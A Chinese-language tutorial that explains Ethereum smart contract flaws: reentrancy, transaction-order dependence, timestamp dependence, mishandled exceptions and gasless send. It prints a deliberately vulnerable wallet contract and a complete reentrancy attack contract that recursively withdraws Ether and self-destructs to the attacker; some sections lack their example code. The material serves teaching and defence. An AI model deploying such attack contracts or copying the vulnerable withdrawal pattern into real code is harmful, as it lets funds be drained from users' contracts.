原理
发生的情景:
该攻击发生在两个账户转账的过程中
利用的漏洞:
Fallback()函数
执行fallback()函数的条件:
如果给予的Gas充足,该回退函数中可以做任何事。
几种转账方式:
实例分析
首先是一个存在重入漏洞的智能合约代码:
//Vivtim.sol
contract IDMoney {
address owner;
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况
event withdrawLog(address, uint256);
function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);
withdrawLog(to, amount); // 打印日志,方便观察 reentrancy
**to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;**
}
function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}
这是一个类似公共钱包的合约,任何人都可以向其存钱和取钱等操作。其中 deposit() 函数的功能是用户向里存钱,withdraw() 函数的功能是从里面取钱。
观察 withdraw() 函数,其中使用了 to.call.value() 的方式进行ether的转账。由于该种类型的转账会传递所有的 Gas 供以进行调用。而该操作会导致调用请求用户的回退函数,所以可以在攻击者的回退函数中部署攻击,攻击合约的代码如下:
//Attack.sol
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }
// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}
function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
该合约中,首先向其账户中存入一定的ether,防止因为ether不够导致调用 withdraw() 函数时直接报错。其后,调用被攻击合约的 withdraw() 函数,由于是转账操作,所以被攻击者会反过来调用攻击者的回退函数,由于被攻击者合约传递所有的 Gas 供以使用,并且钱包里的值也没有更新,所以攻击者合约在回退函数中可以继续取钱,直至被取光或Gas耗尽。
攻击特点
存在call调用转账。
在区块链的世界当中,一笔交易内可能含有多个不同的交易,而这些交易执行的顺序会影响最终的交易的执行结果,由于在挖矿机制的区块链中,交易未被打包前都处于一种待打包的 pending 状态,如果能事先知道交易里面执行了哪些其他交易,恶意用户就能通过增加矿工费的形式,发起一笔交易,让交易中的其中一笔交易先行打包,扰乱交易顺序,造成非预期内的执行结果,达成攻击。以以太坊为例,假如存在一个 Token 交易平台,这个平台上的手续费是通过调控合约中的参数实现的,假如某天平台项目方通过一笔交易请求调高交易手续费用,这笔交易被打包后的所有买卖 Token 的交易手续费都要提升,正确的逻辑应该是从这笔交易开始往后所有的 Token 买卖交易的手续费都要提升,但是由于交易从发出到被打包存在一定的延时,请求修改交易手续费的交易不是立即生效的,那么这时恶意用户就可以以更高的手续费让自己的交易先行打包,避免支付更高的手续费。
基本原理
智能合约使用区块的Timestamp作为一些关键操作的初始条件,如设置为初值。而一个block的时间戳是由矿工(挖矿时的系统)决定的,并且这里时间可以允许有900秒的偏移。因此攻击者可以通过调整时间戳的大小来使判断条件为真。
实例分析
第五行到第八行依赖于当前block的时间戳。因此,矿工可以事先计算出对自己有利的时间戳,并且在挖矿时将时间设置成对自己有利的时间。
攻击特点
存在依赖于时间戳作为初始值的关键条件判断。
在一个嵌套调用的链上,异常的处理机制:
判断方法
只要有call、delegatecall 或 send的外部调用都可能会导致该漏洞。
实例分析
contract KOTET{
function(){
...
**king.call.value(amount);//Exception Disorder**
balance[king] -= amount;
...
}
}
正如上面的代码所知,该函数想通过call函数向另一个合约或者外部账户转账,但不幸的是由于Gas不够或者其他原因导致该操作抛出了异常,根据机制,call后的所有操作的效果都将复原,因此接收者king的余额没有增加。该合约没有对返回值做判断,继续执行下面的代码,导致在该合约中king的余额减少,构成漏洞。(个人认为可以看成是UncheckedCall Attacks)
攻击特点
没有对call、delegatecall 或 send进行返回值的检查
基本原理
当调用Send发送以太币时,如果对方是智能合约的话,会调用对方的fallback()函数,而执行send()所消耗的gas默认上线被限定在2,300(如果特别指定上限的话,可以大于2,300)。如果攻击者在fallback()函数中故意防止过多的操作,导致out of gas。抛出异常。
实例分析
contract KotET{
...
function withdraw(address to, uint amount){
**to.send(amount);** //gasless send
}
}
contract Attack{
...
function(){
count++;
...
}
}
如上述代码所示,攻击者在KotET合约中取钱,而KotET合约使用了send()函数进行以太币传输。而攻击者在其fallback()函数中部署了大量的操作,使得send()分配的2300Gas耗尽。会抛出异常。(接下来关注Mishandled Exception 问题)
漏洞特点
没有对call、delegatecall 或 send进行返回值的检查